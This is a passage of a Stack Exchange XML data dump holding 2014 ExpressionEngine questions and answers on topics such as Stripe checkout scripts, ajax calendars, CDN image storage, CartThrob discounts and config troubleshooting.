stripeResponseHandler(status, response) {&#xA;/* Re-enable the checkout submit button */&#xA;$(&quot;#checkout_submit&quot;).attr('disabled', false);&#xA;&#xA;/* Check whether we have a valid credit card */&#xA;if (response.error) {alert(response.error.message);} else {&#xA;  /* Set the card token and submit the checkout form */&#xA;  $(&quot;#payment_token&quot;).val(response['id']);&#xA;  $(&quot;#checkout_submit&quot;).unbind(&quot;click&quot;).click();&#xA;}&#xA; } &#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;!-- End Stripe header code --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or should I just call it by itself?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;Stripe.setPublishableKey('MYPUBLISHABLEAPIKEY');&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2307" LastEditorUserId="2307" LastEditDate="2014-08-19T17:22:35.883" LastActivityDate="2014-08-19T17:22:35.883" Title="ExpressoStore and Stripe: API Keys" Tags="|expresso-store|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25182" PostTypeId="1" AcceptedAnswerId="25210" CreationDate="2014-08-19T17:13:31.880" Score="1" ViewCount="105" Body="&lt;p&gt;I've got a calendar on the sidebar of every page and am attempting to load it with ajax and have partially succeeded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I can load either the next or the previous month once and only once and then it loads a new page with just the calendar visible. Trying to go back with the calendar loads nothing but on second click returns to the original page. Am stuck and have no idea how to fix this. Used &lt;a href=&quot;https://gist.github.com/StevenLangbroek/4188501&quot; rel=&quot;nofollow&quot;&gt;this gist&lt;/a&gt; as a starter (everything else I tried didn't work).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added a screencast where you can see it load correctly the first time but not the second &lt;a href=&quot;https://www.screenr.com/SqON&quot; rel=&quot;nofollow&quot;&gt;https://www.screenr.com/SqON&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My template code looks like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Sidebar Template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;article&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;cal_container&quot;&amp;gt;&#xA;        {embed=&quot;embeds/full_calendar&quot;}&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/article&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Embedded Template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:calendar channel=&quot;events&quot; dynamic=&quot;yes&quot; show_future_entries=&quot;yes&quot; switch=&quot;calendarToday|calendarCell&quot; year=&quot;&quot; month=&quot;&quot;}&#xA;&#xA;  &amp;lt;table class=&quot;calendarBG table&quot; border=&quot;0&quot; cellpadding=&quot;6&quot; cellspacing=&quot;1&quot; summary=&quot;My Calendar&quot; id=&quot;calendar&quot;&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;tr class=&quot;calendarHeader&quot;&amp;gt;&#xA;        &amp;lt;th&amp;gt;&#xA;            &amp;lt;div class=&quot;calendarMonthLinks&quot;&amp;gt;&#xA;              &amp;lt;a href=&quot;{previous_path='/embeds/full_calendar'}&quot; id=&quot;prev&quot; rel=&quot;#cal_container&quot;&amp;gt;&amp;amp;lt;&amp;amp;lt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/th&amp;gt;&#xA;        &amp;lt;th colspan=&quot;5&quot;&amp;gt;&#xA;            &amp;lt;center&amp;gt;{date format=&quot;%F %Y&quot;}&amp;lt;/center&amp;gt;&#xA;        &amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;&#xA;            &amp;lt;div class=&quot;calendarMonthLinks&quot;&amp;gt;&#xA;                &amp;lt;a class=&quot;calendarMonthLinks&quot; href=&quot;{next_path='/embeds/full_calendar'}&quot; id=&quot;next&quot; rel=&quot;#cal_container&quot;&amp;gt;&amp;amp;gt;&amp;amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/th&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;&#xA;    {calendar_rows}&#xA;        {row_start}&amp;lt;tr&amp;gt;{/row_start}&#xA;&#xA;        {if entries}&#xA;            &amp;lt;td class='{switch} calEntry' align='center'&amp;gt;&#xA;&#xA;        {!-- &#xA;        // need to use embed in order to get this to work&#xA;        // with structure and page_url variable&#xA;        --}             &#xA;                {embed=&quot;embeds/_calendar_entry&quot;&#xA;                    day=&quot;{day_number}&quot;&#xA;                    entry_id=&quot;{entries}{entry_id}{/entries}&quot;&#xA;                    }&#xA;            &amp;lt;/td&amp;gt;&#xA;        {/if}&#xA;&#xA;        {if not_entries}&#xA;            &amp;lt;td class='{switch}' align='center'&amp;gt;{day_number}&amp;lt;/td&amp;gt;&#xA;        {/if}&#xA;        {if blank}&#xA;            &amp;lt;td class='calendarBlank'&amp;gt;{day_number}&amp;lt;/td&amp;gt;&#xA;        {/if}&#xA;        {row_end}&amp;lt;/tr&amp;gt;{/row_end}&#xA;    {/calendar_rows}&#xA;  &amp;lt;/table&amp;gt;&#xA;&#xA;{/exp:channel:calendar}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And javascript inside scripts.js&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(function(){ &#xA;&#xA;  $('#prev, #next').on('click', function(e){ // catch the click, and bind that click-event to the variable &quot;e&quot;&#xA;    e.preventDefault(); // stop the event from firing (so user doesn't get forwarded to the actual link)&#xA;&#xA;    var elem = $(this),&#xA;      link = elem.attr('href'),&#xA;      target = elem.attr('rel');&#xA;&#xA;    $.get(link, function(data){ // do a GET-request&#xA;      $('#cal_container').html(data); // put the results in the target-element&#xA;    });&#xA;&#xA;  });&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Changed the javascript&lt;/strong&gt; to the following (shorter) and it works exactly the same as the first including not going more than one month&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {&#xA;  $('#prev, #next').on('click', function(e){ // catch the click, and bind that click-event to the variable &quot;e&quot;&#xA;    e.preventDefault(); // stop the event from firing (so user doesn't get forwarded to the actual link)&#xA;&#xA;    $('#cal_container').load($(this).attr('href') + ' #calendar');&#xA;  });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15" LastEditorUserId="15" LastEditDate="2014-08-19T18:00:45.467" LastActivityDate="2014-08-20T14:08:48.490" Title="sidebar ajax calendar - only loads one month and fails" Tags="|ajax|calendar|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25184" PostTypeId="1" AcceptedAnswerId="25187" CreationDate="2014-08-19T17:48:50.260" Score="0" ViewCount="98" Body="&lt;p&gt;I'm working on a site that is image heavy. I've switched to using DevDemon's Channel Images and am wondering if I use rackspace as a CDN if the images currently on the site are deleted after the copies are uploaded to Rackspace Cloud.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if they aren't I could manually delete them, but I want to make sure that copies are not kept in both places. Since the local site mapping option is removed I'm thinking that copies are not kept locally, but it would be nice to have this confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the site is over 2G and I'm having trouble transferring offsite backups to rackspace via CE Cache. I've been messing with outrageous keep alive times that are not reasonable to keep on a live site. A CDN seems like the answer as long as image copies aren't kept locally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate any helpful feedback&#xA;Jules&lt;/p&gt;&#xA;" OwnerUserId="528" LastActivityDate="2014-08-19T18:47:24.643" Title="DevDemon Channel Images---When using Rackspace are files also stored onsite?" Tags="|channel-images|devdemon|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25185" PostTypeId="2" ParentId="12833" CreationDate="2014-08-19T18:29:30.790" Score="2" Body="&lt;p&gt;The comments on the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/fieldtypes.html#9237&quot; rel=&quot;nofollow&quot;&gt;official documentation&lt;/a&gt; page note the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Just a note that on &lt;code&gt;display_field&lt;/code&gt; the data has htmlspeciachars on it if you’re trying to &lt;code&gt;deserialize&lt;/code&gt; or &lt;code&gt;decode_json&lt;/code&gt; so make sure you do this:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;htmlspecialchars_decode($data)&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Before you try and decode it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So to apply that same thing in your case, you'd need:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;function display_field($data)&#xA;{&#xA;    error_log( htmlspecialchars_decode($data) );&#xA;}&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="445" LastActivityDate="2014-08-19T18:29:30.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25186" PostTypeId="2" ParentId="25111" CreationDate="2014-08-19T18:31:34.070" Score="0" Body="&lt;p&gt;I recently had the same problem.  Through the process of elimination I discovered it was an apostrophe in my Entry that was causing this error to happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            {if '{cancerstreated_sec1_studies}{cancerstreated_sec1_studies:medicalprof_sec1b_title}{/cancerstreated_sec1_studies}'!=''}&#xA;            &amp;lt;div class=&quot;twelveRightSection&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;topTitle&quot;&amp;gt;&#xA;                    &amp;lt;p&amp;gt;Related Studies&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;bottomTable&quot;&amp;gt;&#xA;                    &amp;lt;table class=&quot;relatedStudies&quot;&amp;gt;&#xA;                        {cancerstreated_sec1_studies}&#xA;                        &amp;lt;tr class=&quot;{cancerstreated_sec1_studies:switch='|oddRow'}&quot;&amp;gt;&#xA;                            &amp;lt;td class=&quot;studyName&quot;&amp;gt;{cancerstreated_sec1_studies:medicalprof_sec1b_title}&amp;lt;/td&amp;gt;&#xA;                            &amp;lt;td class=&quot;studyAuthor&quot;&amp;gt;{cancerstreated_sec1_studies:medicalprof_sec1b_author}&amp;lt;/td&amp;gt;&#xA;                            &amp;lt;td class=&quot;studyCTA&quot;&amp;gt;&amp;lt;a href=&quot;{cancerstreated_sec1_studies:medicalprof_sec1b_url}&quot; title=&quot;Read Story&quot; target=&quot;_blank&quot;&amp;gt;Read Study&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;/tr&amp;gt;&#xA;                        {/cancerstreated_sec1_studies}&#xA;                    &amp;lt;/table&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was using an IF to check if the following Grid field existed.  IF it existed, show the content.&lt;strong&gt;{cancerstreated_sec1_studies:medicalprof_sec1b_title}&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By removing the apostrophe from my entries title name, the error went away.  I'm now checking for the Author's name instead of the entry title for this conditional.  Not ideal, but it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in EE V2.9 Grid has been such a headache...  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helped!&lt;/p&gt;&#xA;" OwnerUserId="3480" LastActivityDate="2014-08-19T18:31:34.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25187" PostTypeId="2" ParentId="25184" CreationDate="2014-08-19T18:47:24.643" Score="0" Body="&lt;p&gt;I guess you are using the Image Transfer feature from the Channel Images control panel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, the images are not deleted after you move the images. You have to manually delete them. But make sure all images where uploaded correctly! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note:&lt;br&gt;&#xA;If you have a lot of images to transfer (3GB+) we have an internal script that does the transferring outside of EE (or even via shell).&lt;br&gt;&#xA;The EE CP has a annoying timeout that cannot be disabled.&lt;/p&gt;&#xA;" OwnerUserId="934" LastActivityDate="2014-08-19T18:47:24.643" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25188" PostTypeId="2" ParentId="25157" CreationDate="2014-08-19T18:48:23.563" Score="0" Body="&lt;p&gt;I had to do two things to resolve the issue:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Apply both steps (adding the {filedir_x} and searching replacing new lines/line breaks) of the fix from this EllisLab forum thread across the board, to all File fields not just to one File field:&#xA;&lt;a href=&quot;https://ellislab.com/forums/viewthread/218268/&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/forums/viewthread/218268/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I went into the Admin for channel fields and re-submitted each custom field that was a File field type.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Something about that exercise appears to have fixed the issue. Hope this helps someone else. &lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2014-08-19T18:48:23.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25189" PostTypeId="1" CreationDate="2014-08-19T19:30:36.490" Score="0" ViewCount="79" Body="&lt;p&gt;Is the &quot;Free Order&quot; discount working for anyone else in CartThrob 2.6 and EE 2.8.1? It seems to be completely broken - the cart still uses the undiscounted amount as the total. It looks like CT recalculates the total from scratch if it sees that the total is &amp;lt;= $0 in the total() function in cartthrob/core/Cartthrob_cart.php, but I can't figure out how to make it stop without breaking calculations for normal (non-discounted) orders.&lt;/p&gt;&#xA;" OwnerUserId="93" LastEditorUserId="28" LastEditDate="2014-08-20T15:09:20.037" LastActivityDate="2016-05-22T18:33:40.747" Title="Free orders with CartThrob 2.6?" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25190" PostTypeId="2" ParentId="18520" CreationDate="2014-08-19T20:19:52.977" Score="1" Body="&lt;p&gt;A WSOD after installing a Master Config probably means that the new config isn't being loaded correctly. This could be because the include path in EE's &lt;code&gt;config.php&lt;/code&gt; doesn't correctly refer to the Master Config file, or because the environment-based path generated by the master config doesn't correctly refer to an environment config file. It could also be a syntax error somewhere in any of the config files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some troubleshooting steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In your EE config.php, before you include the master config file, &lt;code&gt;echo()&lt;/code&gt; the path in your include statement. If you see the path displayed when you reload the page, it means EE's &lt;code&gt;config.php&lt;/code&gt; is being loaded properly, but your Master Config file (&lt;code&gt;config.master.php&lt;/code&gt;) file isn't. There's probably a typo in the path, such as an extra/missing slash, an extra/missing &lt;code&gt;...&lt;/code&gt;, etc.&lt;/li&gt;&#xA;&lt;li&gt;In your Master Config file, insert an &lt;code&gt;exit(&quot;test&quot;)&lt;/code&gt; at the very beginning. If when you reload the page you see this message (probably twice), it means your Master Config file is being loaded properly, but some setting is causing an error.&lt;/li&gt;&#xA;&lt;li&gt;Try block-commenting out config settings until it works. If you comment out all your config items and still have a WSOD, probably there's an error loading your environment config file, so the troubleshooting process repeats, one layer recursed...&lt;/li&gt;&#xA;&lt;li&gt;First, check to make sure the domain name you're accessing matches the hostname of an environment you have specified, and that the environment has its &lt;code&gt;env&lt;/code&gt; variable/constant defined. If it does, check to make sure your &lt;code&gt;config.[env].php&lt;/code&gt; file actually exists.&lt;/li&gt;&#xA;&lt;li&gt;In the Master Config file, just before the &lt;code&gt;include&lt;/code&gt; statement that includes the environment config file, &lt;code&gt;echo()&lt;/code&gt; that path, and check as before to make sure it doesn't have typos.&lt;/li&gt;&#xA;&lt;li&gt;Try adding a &lt;code&gt;exit(&quot;test&quot;);&lt;/code&gt; at the top of your environment config file. If you see that message when you reload the page, it means the config file is being loaded properly, but some setting is causing issues. Start block-commenting out config directives until it works.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(Since you mention that this Master Config works on your local machine, but not on the server, it's probably an issue with the hostname not matching up with a defined environment/&lt;code&gt;env&lt;/code&gt; in the master config. In that case, you could skip to step 4, but I'm including the whole process for the sake of completeness...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. Also double-check to make sure that files on your server are exactly the same as the files on your local machine... I know that sounds obvious, but I cringe at how many times (before the age of easy Git deployments) I saw a WSOD because I forgot to upload a file...&lt;/p&gt;&#xA;" OwnerUserId="262" LastEditorUserId="262" LastEditDate="2014-08-19T20:25:35.460" LastActivityDate="2014-08-19T20:25:35.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25191" PostTypeId="2" ParentId="25160" CreationDate="2014-08-19T20:36:16.507" Score="1" Body="&lt;p&gt;Remember you can always use Dynamic Parameters to sort data on the fly - &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/dynamic_parameters.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/dynamic_parameters.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2014-08-19T20:36:16.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25193" PostTypeId="2" ParentId="24786" CreationDate="2014-08-19T21:01:23.403" Score="-1" Body="&lt;p&gt;So, after many many... many days (too many days) of trying to figure this out, I finally did and the answer was literally right under our noses the entire time. We just didn't search through Full Calendar's documentation long enough. It is incredibly simple.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;color: 'yellow',&#xA;textColor: 'black'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://arshaw.com/fullcalendar/docs/event_data/Event_Source_Object/&quot; rel=&quot;nofollow&quot;&gt;Full Calendar Documentation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2902" LastActivityDate="2014-08-19T21:01:23.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25194" PostTypeId="2" ParentId="25160" CreationDate="2014-08-19T21:10:08.997" Score="0" Body="&lt;p&gt;We have used the Solspace Supersearch add-on to accomplish this.  We chose not to do ajax/animated filtering, but to filter based on page/url.  Let me know if you need more details.&lt;/p&gt;&#xA;" OwnerUserId="1762" LastActivityDate="2014-08-19T21:10:08.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25195" PostTypeId="2" ParentId="25171" CreationDate="2014-08-20T00:39:08.343" Score="0" Body="&lt;p&gt;I scheduled a support call with Mighty Big Robot for this morning, and before I started it had an email with an updated version of Profile:Edit in my mailbox to test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically this included updates to cater for the deprecated functions as well as a minor hack I had made to a local version so that I could use the {exp:profile:view} tag on the same template as {exp:channel:form}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current version is now v1.2.0 and suspect it will be made available through the MBR website soon for those that might be experiencing the same problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should note that I did need to hit the Module settings page for Profile:Edit and re-submit the settings for it to work 100%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Many thanks to Chris Barrett for working with us at such short notice)&lt;/p&gt;&#xA;" OwnerUserId="347" LastActivityDate="2014-08-20T00:39:08.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25196" PostTypeId="1" CreationDate="2014-08-20T01:27:15.870" Score="0" ViewCount="36" Body="&lt;p&gt;I'm troubleshooting with the example store templates that are supplied. In the store settings, I have the Default Shipping Address set to none. Still, when I submit the address as different for shipping and billing, the Shipping Details are listed as &quot;Same as Billing Details&quot; on the checkout3 template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks if anyone can help.&lt;/p&gt;&#xA;" OwnerUserId="1332" LastActivityDate="2014-08-20T01:27:15.870" Title="Store shipping details not captured" Tags="|expresso-store|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25197" PostTypeId="1" CreationDate="2014-08-20T01:45:09.230" Score="2" ViewCount="402" Body="&lt;p&gt;So Im trying to upgrade an EE site and when I follow the instructions... &#xA;All I get is a black white page.  No error messages, nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interesting when I enable debug=1 in index.php, I do see this error:&#xA;Parse error: syntax error, unexpected T_STATIC, expecting T_STRING or T_VARIABLE or '$' in /var/www/vhosts/default/htdocs/run/EllisLab/ExpressionEngine/Core/Autoloader.php on line 46&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas or hints really appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont have any special modules or plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paul&lt;/p&gt;&#xA;" OwnerUserId="3495" LastActivityDate="2014-09-10T15:29:10.250" Title="Trying to upgrade from EE 2.5.5 to 2.9.90 - the infamous white screen problem" Tags="|ee2-upgrades|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25198" PostTypeId="2" ParentId="25174" CreationDate="2014-08-20T06:23:37.423" Score="1" Body="&lt;p&gt;Assets 1.1.5 reads files from the disk, so, most likely, this is a permission issue or an issue of wrong server path set for the upload folder.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2014-08-20T06:23:37.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25199" PostTypeId="1" AcceptedAnswerId="25201" CreationDate="2014-08-20T07:54:02.490" Score="0" ViewCount="23" Body="&lt;p&gt;If I need to add two store tags together to make up a sum, how would I go about this? This is what I want to achieve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{order_discount} + {order_you_save} = R total savings&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? I still obviously need the total savings to reflect on the total amount of the order.&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-08-20T09:54:55.957" Title="How To Add Two Store Tags" Tags="|expresso-store|tags|ee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25200" PostTypeId="2" ParentId="14350" CreationDate="2014-08-20T09:11:52.107" Score="1" Body="&lt;p&gt;Based on my previous findings (&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/25049/zoo-visitor-confirm-delete-user-account&quot;&gt;Zoo Visitor: confirm delete user account&lt;/a&gt;) this &lt;strong&gt;is&lt;/strong&gt; possible using Stash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you post a form, use the post info.&#xA;In the redirect template you could check to see if a value exists and display an error message or redirect back/contunue&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a conditional you could so something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Check to see if radio button 'is_business' is checked with value 'business'&#xA;// check to see if company name field is empty&#xA;{if &quot;{exp:stash:get name='is_business' dynamic='yes'}&quot; == 'business' AND &quot;!{exp:stash:get name='company_name' dynamic='yes'}&quot;}&#xA;    // error&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way you can in any case provide a hard-coded way to validate you form.&lt;/p&gt;&#xA;" OwnerUserId="777" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-08-20T09:11:52.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25201" PostTypeId="2" ParentId="25199" CreationDate="2014-08-20T09:54:55.957" Score="1" Body="&lt;p&gt;There is nothing built into Store that I know of that would allow you to do this. You could however use something like &lt;a href=&quot;http://devot-ee.com/add-ons/mx-calculator&quot; rel=&quot;nofollow&quot;&gt;MX Calculator&lt;/a&gt; or a similar add-on to calculate the total.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:mx_calc expression=&quot;{order_discount_val} + {order_you_save_value}&quot; parse=&quot;inward&quot;}&#xA; Total Savings of {calc_result}&#xA;{/exp:mx_calc}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice that I added &lt;code&gt;_val&lt;/code&gt; to each of the tags so that they will be outputted without the currency symbols, you will need to do this or the math will not work correctly.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-08-20T09:54:55.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25203" PostTypeId="1" AcceptedAnswerId="25267" CreationDate="2014-08-20T11:44:03.823" Score="0" ViewCount="55" Body="&lt;p&gt;Using Solspace Calendar, Is there any way to correctly display multiple calendars on one page? I am using the cal tag and the direct copy of solspace code gives me a single calendar on the page. When I use the following tag below I get very bizarre errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current month is shown, and the following 6 months, with month names in place. The day numbers from next month onward are not listed, but are all dots, even though the right number of days are shown. The next month's days don't start on the correct day either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its like the tags are counting the correct months and number of days, just not rendering them in the correct grid and without the numbers in anything but this month.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Surely you can show more than one month on a page? Is this a bug? If not, does this mean I have to make 6 calls to this very expensive tag to get the 6 cals to show on a page? Is there an alternative?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;slider--programme&quot;&amp;gt;&#xA;   {exp:calendar:cal calendar_id=&quot;3&quot; date_range_start=&quot;today&quot; show_months=&quot;6&quot;}&#xA;       {display_each_month}&#xA;       &amp;lt;li&amp;gt;&#xA;       &amp;lt;table&amp;gt;&#xA;          &amp;lt;thead&amp;gt;&#xA;             &amp;lt;tr&amp;gt;&#xA;                &amp;lt;th colspan=&quot;7&quot;&amp;gt;&amp;lt;h2&amp;gt;{date format=&quot;%F %Y&quot;}&amp;lt;/h2&amp;gt;&amp;lt;/th&amp;gt;&#xA;             &amp;lt;/tr&amp;gt;&#xA;             &amp;lt;tr id=&quot;mc_days&quot;&amp;gt;&#xA;                {display_each_day_of_week}&#xA;                &amp;lt;th class=&quot;{if day_of_week_is_weekend}weekend{/if} {if day_of_week_is_current}current{/if}&quot;&amp;gt;{day_of_week_one}&amp;lt;/th&amp;gt;&#xA;                {/display_each_day_of_week}&#xA;             &amp;lt;/tr&amp;gt;&#xA;          &amp;lt;/thead&amp;gt;&#xA;          &amp;lt;tbody&amp;gt;&#xA;             {display_each_week}&#xA;             &amp;lt;tr&amp;gt;&#xA;                {display_each_day}&#xA;                &amp;lt;td cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;{if day_event_total &amp;gt; 0}has_events{/if}&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;mc_date&quot;&amp;gt;&#xA;                   {if day_in_current_month}&#xA;                     {if day_event_total}&amp;lt;a href=&quot;/programme/day/{date format='%Y/%m/%d'}/&quot;&amp;gt;{/if}&#xA;                       {day}&#xA;                     {if day_event_total}&amp;lt;/a&amp;gt;{/if}&#xA;                   {if:else}&#xA;                        &amp;lt;strong class=&quot;middot&quot;&amp;gt;&amp;amp;middot;&amp;lt;/strong&amp;gt;&#xA;                   {/if}&#xA;                   &amp;lt;/div&amp;gt;&#xA;                  &amp;lt;/td&amp;gt;&#xA;                {/display_each_day}&#xA;             &amp;lt;/tr&amp;gt;&#xA;             {/display_each_week}&#xA;          &amp;lt;/tbody&amp;gt;&#xA;       &amp;lt;/table&amp;gt;&#xA;       &amp;lt;/li&amp;gt;&#xA;       {/display_each_month}&#xA;   {/exp:calendar:cal}&#xA;  &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="99" LastActivityDate="2014-09-21T05:25:04.140" Title="Solspace Multi-mini-cal" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25204" PostTypeId="1" CreationDate="2014-08-20T12:32:02.680" Score="1" ViewCount="70" Body="&lt;p&gt;I am displaying a promo code that the user submits by using &lt;code&gt;{promo_code}&lt;/code&gt;, but now I also want to display the '&lt;em&gt;base discount&lt;/em&gt;' value for the promo code. I tried to use &lt;code&gt;{promo_code_value}&lt;/code&gt;, but this seems to be blank even though the R100 value of the promo code is reflected in the &lt;code&gt;{order_discount}&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other suggestions on what I could try?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-08-21T11:33:34.907" Title="How To Get Promo Code Value" Tags="|expresso-store|ee2|checkout|discounts|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
